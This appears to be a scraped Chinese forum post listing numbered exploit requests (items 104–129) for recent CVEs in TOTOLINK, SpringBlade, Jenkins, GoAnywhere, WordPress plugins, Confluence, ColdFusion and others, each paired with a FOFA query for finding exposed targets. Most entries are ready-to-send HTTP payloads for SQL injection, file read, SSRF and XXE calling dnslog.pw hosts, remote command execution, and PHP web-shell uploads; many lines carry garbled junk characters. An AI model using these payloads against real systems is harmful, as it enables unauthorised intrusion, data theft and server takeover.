, a6 r6 c' k% v; f! j/ ?<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
$ I" M, a2 S7 L5 s
: y2 P: e4 e3 ?
0 o4 G7 r" F& t7 t$ n104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
* H( z+ n* ]/ N; S5 rHost:192.168.0.1
Content-Length:41
% Q+ d9 Q$ L2 s+ [Accept:application/json,text/javascript，*/*;q=0.01
: m3 R7 ~3 ^% k, i# E3 a, m) wX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
' W; t- X2 F8 v! T% m- F* a2 N7 {4 GOrigin: http://192.168.0.1
) E) U5 ~, x( O# T' CReferer: http://192.168.0.1/advance/index.html?time=1671152380564
: o/ i; m" f% a$ n; `" MAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
! [0 n+ T$ Y% D$ P# ^# |9 i7 JConnection:close
9 {" U$ Z% m: F! I
/ f3 P! n# j( t; C; H3 B{
"topicurl":"getSysStatusCfg",
* K8 l# X: y8 A"token":""
4 ^' |  P( `- G- w: r# P( g& F}

3 W% m* a# j, H4 j3 @, ~7 q+ S: Z$ r7 y$ B9 ]105. SpringBlade v3.2.0 export-user SQL 注入
$ S* A7 ^: u' y. N* ^+ o3 tFOFA：body="https://bladex.vip"
# z( f& b% c: Y. ~' t; mhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
$ B3 Z- j1 x+ v( z! N1 EFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
% z. C- B6 K8 e" H  w; dHost: your-ip
4 P# I; c- s" v0 s- \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; [$ ~5 c9 i" P' aConnection: close
+ d! O& L  I4 v% h

1 l. b; O( k, u3 z- e1 m107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
( p9 B9 `6 B9 {" c' Y9 b6 _+ TGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
& S/ K, H$ ]- ]9 A2 _Host: your-ip
* |& i" i0 q9 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! G5 @+ z# i+ kBlade-Auth:替换为自己的
. L2 u. T7 G* {8 P/ c/ N8 G/ s' HConnection: close

! M0 B* S0 R( q  F& I$ F  @7 ~
108. D-Tale 3.9.0 SSRF
( c2 j$ d* @5 p6 @1 q4 j& bCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
5 w$ T: q6 w! b/ u" qHost: your-ip
Accept: application/json, text/plain, */*
! b/ r5 y* ]! Y# AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
! i- H( c* d( Y1 [+ J' v8 C+ GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

: k  v- S8 }- O
4 E3 ^. L$ X. t$ V$ Q109. Jenkins CLI 任意文件读取
CVE-2024-23897
1 o# R+ e0 l# F- {2 y& i$ lFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
, @& v  E- y. ?Host:
$ T+ L$ e2 q4 z# ]Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
" Y4 _! R# o) o) q1 I; C9 QSide: upload
Connection: keep-alive
Content-Length: 163
- W" Z: [# r: b; F+ g. F
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

: R( h& ?- G. B% P. y2 M4 z! K
/ F: P* r2 m) I) E) ]5 I+ HPOST /cli?remoting=false HTTP/1.1
  D/ V% q/ x7 i5 d$ A. f2 hHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
% r! H) ~1 k: L2 Y' I+ Y8 f! |4 odownload
Content-Type: application/x-www-form-urlencoded
+ n2 a: L3 G+ o! NContent-Length: 0
  \4 ]) ]; [- K2 C/ {4 \/ r8 \2 h: V
' v6 m- `% }* ^! v. d
0 |) |$ Z' h3 X- s3 d, NERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
/ O, i2 w, s. B) A! E" W( e7 ZLists all the available commands or a detailed description of single command.
' q- v: h! e! m) y COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
* y  h- L4 [3 ^4 D7 j" |2 e4 j, `& b* SCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
1 f0 N# j" e" W: `! FGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
0 \) o) o3 R1 q1 k: }: M9 v' c: fAccept-Language: en
Accept-Encoding: gzip
, h  y$ l& ?, \# J
* N7 y+ G- B! o& t. C2 |
111. WordPress Plugin HTML5 Video Player SQL注入
) W# q( C. H' o1 ^+ wCVE-2024-1061
* c1 f. _! V6 {4 ^, M' BFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
. T( P$ e! S* o- {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
1 k4 F! e& Q8 \( |# pConnection: close
Accept: */*
, `2 v/ {7 [# Y2 }0 r! c' IAccept-Language: en
, B; l6 b5 c. K' U# k# }% y4 J  oAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
$ e7 P6 Y" }) Y0 f0 BCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
6 b7 |6 g( {- [; w2 T' PHost: {{Hostname}}
( E- U* N) w+ t7 ]6 [Content-Type: application/json

5 L$ I9 f" T. D: E" d1 G{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
  z0 d2 k! Z" w' Q* f7 Q
# {) l& w) I0 Q+ {
6 v, f/ ~& B( \5 J/ g1 z* @113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
6 S0 I3 c$ K; ]0 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
. }1 h; Q, h& m' r; d7 MAccept: */*
1 ?1 w" M1 _* I" T; FAccept-Language: en
Accept-Encoding: gzip
* b) C; n+ F- ~4 x

+ O3 ^6 P  w  ~$ y114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 |1 |: T4 s+ @' k5 CAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
) ]3 x, B. v1 t) ^1 HConnection: close

0 J2 U! ^! s2 J0 n3 W
  m/ H; g) a- Z- H$ v$ \- A& q+ `: k115. WordPress Bricks Builder <= 1.9.6 RCE
( X/ q9 u* W3 K9 d% i: R+ BCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
$ \' F0 n# M1 Z8 D# \Host: x.x.x.x
% F8 j" |9 w0 D! J- qUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
( u  E0 ]0 p" B2 {. N

第二步替换nonce值，执行命令
3 p. G, @/ ]( Q0 ?POST /wp-json/bricks/v1/render_element HTTP/1.1
0 e( `6 t, v- N% ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
- H! g+ Q* H+ k4 p) z0 |- v) k! uContent-Type: application/json
Accept-Encoding: gzip
4 W- o+ B  F5 Y6 P
{
% i! y, y" W1 j8 f" T"postId": "1",
  "nonce": "第一步获得的值",
. ^( A% w  g7 s; |4 y% Y  "element": {
8 u: E' U6 y6 h% d4 v/ ~6 L  }    "name": "container",
    "settings": {
9 b3 {4 e& U1 z/ [      "hasLoop": "true",
& ~3 w" I  U; T' J' @$ E. I      "query": {
( N% ~8 s! u/ J0 A; l. A) x        "useQueryEditor": true,
( s. F: j6 A3 X, w: X" Y4 e- f9 x% _6 V; B        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
5 x7 ?0 s: S9 y& m3 q      }
    }
  }
/ q: K* K  U$ e9 j+ U. U% Y1 T' _}
) Y1 t0 w. \/ r! [. R8 t

+ H. O8 e* D1 y; e2 P116. wordpress js-support-ticket文件上传
" g& |' ~. l% h' O- TFOFA：body="wp-content/plugins/js-support-ticket"
5 N# C8 ?0 g% G/ c% m4 e+ f% a# DPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
  T3 b% c! o* I+ vHost:
Content-Type: multipart/form-data; boundary=--------767099171
. Z7 ], l0 o, O$ |- z- O5 i( wUser-Agent: Mozilla/5.0
5 @* `! R7 C  U
----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
( p7 ?( O; W! {2 w3 q$ wContent-Disposition: form-data; name="form_request"
jssupportticket
6 r/ V3 [( r, |3 n% p8 o. e----------767099171
. `' d. N! O' ~; \9 r4 ]2 ~( zContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
3 w) l/ ?7 s; _9 ?( k----------767099171--
7 |2 j: k8 ^' ?. U( _

117. WordPress LayerSlider插件SQL注入
% U+ ?) O/ U. }version：7.9.11 – 7.10.0
& P, E7 R2 V) Z) \8 l% Y- UFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
- \, ]- [" C+ J8 U" mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, Q2 t- f1 `7 t9 b2 V3 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 _; a  K* A5 B- |$ ~: M5 f. I, jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
, D+ {- l' V: Y" x0 t9 z

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ u1 U7 w* i6 ]CVE-2024-0939
5 r( d0 Y2 I9 m5 @  gFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
8 [9 W8 R1 u+ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 j. J% s8 c0 Y+ V4 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 y; E" O- j" J; L9 D4 eAccept-Encoding: gzip, deflate
1 {$ J9 C; \& v' M, @Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
3 v, V4 B& F" M, LContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
1 Q  W0 ^  R! B/ r, USec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
/ `3 I3 b+ g+ ~# S9 sSec-Fetch-Site: same-origin
" A! J4 B* h3 S4 ISec-Fetch-User: ?1
4 l/ h  ^9 g: i9 \$ s7 f9 oTe: trailers
+ r+ B6 A/ `  ?" _$ s9 F3 i4 h1 Q7 cConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
' w, [+ K  p6 \: `  F* ~1 z+ EContent-Type: application/octet-stream
- x# u( o1 L( p' v4 v' d. ^* K
<?php
) D' @5 i4 [: C7 y; v' Z5 D1 W! ?system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
5 i1 r  H4 T/ d+ D
/home/src.php
-----------------------------13979701222747646634037182887--


  z; F0 D; {5 x" d9 w. ?; D3 l) k访问/home/src.php
7 T7 N3 @" M4 B! b" Z+ _; W
( U4 M8 s3 j0 y; ]) \0 s119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
+ [! L9 w/ r+ R- z; D: X先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
0 z* \+ ~. ?) e, HHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
+ |- K& \8 u* o1 IAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* i9 F$ G5 Y9 z4 ?. D3 D) W  HAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
* z7 B+ K5 ^/ s( g- t6 d, iOrigin: https://58.18.133.60:8443
8 L4 Q3 M9 Z5 ?+ W/ {3 p, K! sReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
7 C/ r+ o, H. C+ q" WSec-Fetch-Dest: empty
/ n; z5 E: A/ a+ [/ wSec-Fetch-Mode: cors
6 }4 S& j8 _$ z# U) ASec-Fetch-Site: same-origin
1 Z/ X9 E/ w% tX-Forwarded-For: 1.1.1.1
! e% c9 S- d* y1 k9 s5 _6 _4 M% {X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
+ `9 c. W0 o3 aX-Remote-Addr: 1.1.1.1
Te: trailers
  J# ~% I' W8 Q- c- WConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
4 y& V% N! u7 H) g/ B2 O+ ~

2 ]) k9 d/ G5 f120. 北京百绰智能S40管理平台导入web.php任意文件上传
5 P7 I- l+ w9 A1 e2 {CVE-2024-1253
2 q4 e; S+ Y$ N6 o+ ~& vFOFA：title="Smart管理平台"
6 ?+ j( y' I4 ?) gPOST /useratte/web.php? HTTP/1.1
* }+ a/ o/ Y" V( n0 E% z) |Host: ip:port
" C. v1 D- O5 F& O2 vCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
7 j5 e  @: z* c; A1 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ S: X6 ~) l8 {$ f6 ^) N) tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& `# u- x# X% E$ e8 O9 J8 {Content-Length: 597
Origin: https://ip:port
- P7 U6 _3 v  ~/ @Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ O. y# `; c, y2 ISec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
3 E* U) K! {3 O  M6 b; wTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
3 }0 B+ }& O7 D6 `! }  ^/ dContent-Type: application/octet-stream

- C  M- }; {7 o! J% L& ?0 K<?php phpinfo()?>
' @/ h& l. s3 Y  H6 u4 [2 Z" ~-----------------------------42328904123665875270630079328
5 @+ V0 B; k7 r! I# X$ eContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
! B: n* O6 j) o% c6 {7 QContent-Disposition: form-data; name="1_ck"

6 ^0 B3 f7 t8 Y# ^) v: w# P1_radhttp
% K; L' r) O3 |-----------------------------42328904123665875270630079328
0 v5 O8 }& Q/ I; qContent-Disposition: form-data; name="mode"

import
! E* t; S: C# v6 u-----------------------------42328904123665875270630079328


* }& w, K! ?- V文件路径/upload/2.php
7 g; {6 F* [3 E# l$ J: C
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
; r; d% P8 F, j" |% o. O: _: aPOST /useratte/userattestation.php HTTP/1.1
" J' i& ]! ~5 c+ q$ [Host: 192.168.40.130:8443
/ V4 a: K  d: C; hCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ?  x* z  ~0 E  xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
6 i) h0 p5 T# r) L$ eSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! ]  ^" B) k& ~4 S3 Y0 ySec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

9 [" ~9 q- n7 ?0 O% ?5 y2 [% u-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
8 p8 S- t# C( uContent-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
, }+ ^3 x# p/ T) ]. o
8 i& b+ @6 h* l- W: S/ S1
-----------------------------42328904123665875270630079328
# B. K4 L0 b) \6 {Content-Disposition: form-data; name="1_ck"

1_radhttp
/ W& n) }2 J+ J+ g8 S-----------------------------42328904123665875270630079328
  \4 {1 K& Z. ~; t" d) v6 J# bContent-Disposition: form-data; name="hidwel"

- z( U0 b3 V5 u# ~8 e6 qset
- {! z/ {6 D1 B8 T+ v-----------------------------42328904123665875270630079328

7 L2 m) g. j  r4 j
" a0 v' F3 F- M) aboot/web/upload/weblogo/1.php
. w. g$ d) P+ O: a# {! d4 r# `
: C: X# ?! \$ d2 |- W& h' A122. 北京百绰智能s200管理平台/importexport.php sql注入
. r3 Q1 R! ]# \CVE-2024-27718FOFA：title="Smart管理平台"
0 M4 t+ q% j1 d% r: a) g其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
- T0 z# u: f- lHost: x.x.x.x
8 C: \8 u" b) T1 U" o: ^Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ x# A& L/ {/ ?. j- fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 P* M3 b8 {& T# RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- E- @: A, w. iAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
/ M' c/ ~1 @4 I- ^Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
+ }) F7 y! F& i( x% M

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
2 h: @* F  \4 j, cAccept-Language: en-US;q=0.9,en;q=0.8
. X. v6 |1 n( D- dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
& x' Z9 P; Z! tConnection: close
Content-Type: application/x-www-form-urlencoded

3 A5 o% a+ \, a* I/ ?label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


& @: ^' ]& v+ O, H5 v8 @+ T124. 湖南建研工程质量检测系统任意文件上传
+ z) v9 C$ ^: ?1 TFOFA：body="/Content/Theme/Standard/webSite/login.css"
9 F" D% ~4 V/ i2 v% M" OPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
0 N' y# d: s1 Z6 dUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
1 _( v* R3 L; g- uAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ X3 v6 I; E- x1 N/ rConnection: close
! |, S& c7 e2 z0 C+ Y+ o! yContent-Type: application/x-www-form-urlencoded
0 E- Q9 m. Z: @( Z% b5 q
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


6 p- V, A: Z: ]( S8 }http://192.168.40.130:8282/Scripts/abcgcg.aspx

1 _) t$ R4 M# _3 Q! k9 d125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
; {- L9 Z+ L: I. k7 oFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
6 I( x4 T( g3 F9 ?8 ?' g

使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
9 }: u* {- d- K3 c; G
& Z* U7 x: j: |+ w6 E8 D$ t126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
) G4 G: L) ^; L8 s+ xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 M9 C+ i( K$ Z. d* LConnection: close
Accept: */*
5 t8 Z$ {2 c: c. Q- j9 s, aAccept-Language: en
& C) L# Z; B6 r( F6 R8 gAccept-Encoding: gzip

- |- Y) j4 u) R: v; x
& u7 ^- h7 k1 ^127. 广联达Linkworks DataExchange.ashx XXE
# g; F4 o* R" qFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" r' X9 X* o% j" R/ f, k: `. QHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
2 v! L$ m4 j0 I. `Content-Length: 415
$ L% S+ i9 n7 d% [# ~' ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
& q: u3 ~2 N( v! vPurpose: prefetch
: q! e. K  D  A$ B  sSec-Purpose: prefetch;prerender
4 d! U3 b6 e# d
------WebKitFormBoundaryJGgV5l5ta05yAIe0
2 X* h5 `" r. e5 yContent-Disposition: form-data;name="SystemName"

+ ~$ C5 Q6 J' J/ b  i9 R1 ~, |) \% wBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
, L1 V" H0 t0 V4 |Content-Type: text/plain
+ K% R9 h' F7 U: U( W
0 w9 J' F) }  v' b& h<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
/ A5 r8 T+ ]7 ~0 l/ I7 ~0 @<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
" m* o+ X$ ~+ j: i<test>&t;</test>
3 G9 @- i) [+ z6 _; H* a0 H+ O8 F------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
. S6 x$ l$ r% V; U1 F) {CVE-2023-38203
4 t- i+ Q2 x: k6 O5 @. P6 JAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
( k( J- d- B) Q' W! TFOFA：app="Adobe-ColdFusion"
PAYLOAD
" p6 X: ~# d; q% e6 F5 V
  i# {+ p* ]6 ^9 O7 j' [+ f  q129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
# i- s1 A! q2 b1 K$ E8 R第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

6 g  d) P  w1 Y- W3 N& s4 s& Z
' r' m  C9 V8 {9 w" u, k. K/ }第二步，读取/etc/passwd文件
' O/ c7 s; e3 T0 E$ N0 MGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
, \' t1 S: r; N3 N$ s/ y3 @& iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 V- O+ {* E( X' ~Accept: */*
Accept-Encoding: gzip, deflate
( j4 ^$ Z/ l4 |2 J) Q/ A' kConnection: close
